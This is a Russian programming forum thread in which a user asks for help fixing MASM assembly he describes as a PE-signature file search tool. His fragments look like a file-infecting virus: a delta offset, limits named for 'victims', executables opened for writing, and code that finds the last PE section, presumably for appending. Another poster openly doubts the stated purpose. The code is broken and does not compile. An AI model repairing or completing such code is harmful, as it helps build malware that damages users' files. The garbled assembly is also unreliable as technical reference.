Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 08.09.2012, 19:11   #1
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию PE-программа

Я практически добил свой вопрос, по разработке программы по поиску файлов по сигнатуре PE, в коде были логически ошибки исправил, привожу :

Код:
 OpenFile:
    ; Проверяем атрибуты
    mov  eax, OFFSET WFD_dwFileAttributes
    add  eax, delta_off
	mov  eax, [eax]
    .IF  !(eax  & FILE_ATTRIBUTE_HIDDEN || eax  & FILE_ATTRIBUTE_SYSTEM )
    ; Атрибуты не подходят. Пропускаем файл          
        jmp _FindNextFileA
    .ENDIF
Код:
 ; Проверяем размер файла
    mov  eax, OFFSET WFD_nFileSizeLow ; адрес WIN32_FIND_DATA.nFileSizeLow
    mov  eax, delta_off
    mov  eax, [eax] ; значение WIN32_FIND_DATA.nFileSizeLow
    .IF !(0 < =  eax || eax < =   MaxVictimSize)
        jmp _FindNextFileA
	.ENDIF
Код:
; Открываем файл
    push 0
    push FILE_ATTRIBUTE_NORMAL
    push OPEN_EXISTING
    push 0
    push FILE_SHARE_READ OR FILE_SHARE_WRITE
    push GENERIC_READ OR GENERIC_WRITE
    mov  eax, OFFSET WFD_szFileName
    add  eax, delta_off
	push eax
    call CreateFileA
    inc  eax
    jz   _FindNextFileA    ; Не удалось открыть. Продолжаем поиск
    dec  eax	
    push eax
ошибка в цикле при проверке атрибутов файла,исправил,предыдущий цикл никогда не выполнился,ни пропустив файл ни с одним атрибутом а ткже исравил цикл проверки размера файла.

следующая ошибка. привожу код

Код:
 lea   esi, [edi+esi+18h]          ; VA первой секции
    mov   ebx, [esi + 14h]            ; Наибольшее значение PhysicalOffset
    push  esi
    mov   edx, [esi + 0Ch]            ; Наибольшее значение VirtualRVA
    push  edi                         ; Сохраним VA элемента с наибольшим 
                                      ; PhysicalOffset

_SearchHighPhysOffs:                  ; Ищем
    cmp  ebx, [esi + 14h]             ; Если оно меньше, чем в наибольшем, 
    ja   _OtherElement
    mov  ebx, [esi + 14h]             ; Иначе, примем за наибольшее
    mov  [esp], esi
  
 _SearchHighVirtRVA:                   ; Аналогично, но с VirtualRVA
    cmp  edx, [esi + 0Ch]
    ja   _OtherElement
    mov  edx, [esi + 0Ch]
    mov  [esp], edi

_OtherElement:
    add  esi, 28h                     ; ... переходим на дескриптор
                                      ; следующей секции
    loop _SearchHighPhysOffs          ; перебираем дескрипторы всех секций
    pop esi
    pop edi
;esi - VA элемента с наибольшим PhysicalOffset
;edi - VA элемента с наибольшим VirtualRVA
;ebx - Физическое смещение секции с наибольшим PhysicalOffset
;edx - Виртуальное смещение секции с наибольшим VirtualRVA
При компиляции выдается две ошибки в цикле:

Код:
mov  eax, OFFSET WFD_nFileSizeLow ; адрес WIN32_FIND_DATA.nFileSizeLow
    mov  eax, delta_off
    mov  eax, [eax] ; значение WIN32_FIND_DATA.nFileSizeLow
    .IF !(0 < =  eax || eax < =   MaxVictimSize)
        jmp _FindNextFileA
	.ENDIF
Привожу скрин - http://s017.radikal.ru/i435/1209/dc/76735b746b2e.jpg

Последний раз редактировалось djonatan98; 09.09.2012 в 14:06.
djonatan98 вне форума Ответить с цитированием
Старый 09.09.2012, 14:11   #2
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Дописал секцию инциализируемых и не инциализируемых данных:

Код:
.386
.model flat 
option casemap:none


pushz macro szText:VARARG
    local nexti
    call  nexti
    db    szText, 0
nexti:
endm
 

includelib \masm32\lib\kernel32.lib

data ; сегмент инициализированных данных
 
       MaxVictimNumber db "500", 0      
       CheckVictimSize db "1", 0
       MaxVictimSize db "35*1024", 0 
.data? ; сегмент неинициализированных данных, т.е. переменные без начального значения
 
       hFile dd ?
       hFind dd ?  
	   dwFileSize dd ?
       pAllocMem  dd ?
       dwAlignedFileSize dd ?
       Call_API dd ?
       _GetWindowsDirectoryA dd ?
       _GetSystemDirectoryA dd ?
       WindowsDir dd ?
Выдает 9 ошибок привожу скрин

http://s017.radikal.ru/i403/1209/1c/e8c156b7465e.jpg

как добить-?
djonatan98 вне форума Ответить с цитированием
Старый 12.09.2012, 20:17   #3
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Вот какие ошибки выдает компилятор

error A2154 : synatax error in control - flow directive
error А2006 : undefined symbol : _Call_API

первая ошибка ссылется на: .IF ! (byte ptr [esi] || < MaxVictimNumber)
вторая ошибка на: je _Call_API

здесь нужно другое решение


Код:
.IF ! (byte ptr [esi] || < MaxVictimNumber)je _Call_API должна быть объявлена отдельно, но как-?
В коде встречается 1 раз, возможно не стндартная команда или нужна дополнительная библиотека.
djonatan98 вне форума Ответить с цитированием
Старый 12.09.2012, 20:29   #4
r00t_5tr1k3r
Новичок
Джуниор
 
Регистрация: 12.09.2012
Сообщений: 3
По умолчанию

Hi,
Попробуйте,
Код:
include \masm32\include\kernel32.inc
bye
r00t_5tr1k3r вне форума Ответить с цитированием
Старый 12.09.2012, 20:56   #5
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Пробовал

Код:
include /masm32/include/kernel32.inc
и

Код:
include /masm32/include/windows.inc
Видимо у _Сall_API имеется прототип функции, про эту API ничего не нашел, но должны быть где то, документирована. Также условие

.IF ! (byte ptr [esi] || < MaxVictimNumber) содержит ошибку, нужно другое решение.
djonatan98 вне форума Ответить с цитированием
Старый 12.09.2012, 21:18   #6
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,695
По умолчанию

Цитата:
.IF ! (byte ptr [esi] || < MaxVictimNumber) содержит ошибку, нужно другое решение.
А вы прочитайте, что написано. переменная "ИЛИ" "МЕНЬШЕ" переменная. Во что это должно скомпилироваться то?

Код:
Call_API dd ?
Откуда подчеркивание в начале взялось?

Цитата:
по разработке программы по поиску файлов по сигнатуре PE
Сделаем вид, что поверили...
p51x вне форума Ответить с цитированием
Старый 13.09.2012, 14:07   #7
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Все упирается в _Call_API, мне тут один сказал метка нужна, тогда я исправил фрагмент кода:

Код:
cmp  word ptr [edi+4], 0FFFFh   ; Конец списка?
     cmp  word ptr [edi+4], 0FFFFh   
     je   _Call_API
    add  edi, 4
Код:
на _Сall_API:
    cmp  word ptr [edi+4], 0FFFFh   
    je   _Call_API
    add  edi, 4
Но это не сработало

Привожу скрин с ошибкой - http://s019.radikal.ru/i632/1209/24/91affa4786b5.jpg

Смотрел в интернете, там во всяком случае был описан такой метод. Метка объявляется иначе. как ее правильно объявить-?
djonatan98 вне форума Ответить с цитированием
Старый 13.09.2012, 16:09   #8
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Почитал в интерете предлогается такой способ:

metka: equ [_сall_API]

Далее в цикле:

Код:
cmp  word ptr [edi+4], 0FFFFh   ; Конец списка?
    je   сall [metka]  
    add  edi, 4
djonatan98 вне форума Ответить с цитированием
Старый 13.09.2012, 19:30   #9
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Я применил и такую конструкцию

Код:
.IF! (word ptr [edi+4] == 0FFFFh)   ; Конец списка?
    jmp  Call_API
	add  edi, 4   
   .ENDIF
djonatan98 вне форума Ответить с цитированием
Старый 15.09.2012, 00:05   #10
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

[CODE]
Код:
как прописать hFile,hFind в системном хидере, я так понимаю это в структуре IMAGE_OPTIONAL_HEADER32 STRUCT
-?

Последний раз редактировалось djonatan98; 15.09.2012 в 16:18.
djonatan98 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Программа с применением записей и программа с применение множеств smert99 Помощь студентам 0 16.06.2011 23:14
Программа открыается если есть другая программа. bookkc Паскаль, Turbo Pascal, PascalABC.NET 12 14.10.2009 20:09
[PASCAL]Программа создания файла, программа обработки файла Виколяшка Фриланс 7 23.09.2009 17:38
Программа создания файла, программа обработки файла [PASCAL] Виколяшка Помощь студентам 1 22.09.2009 22:56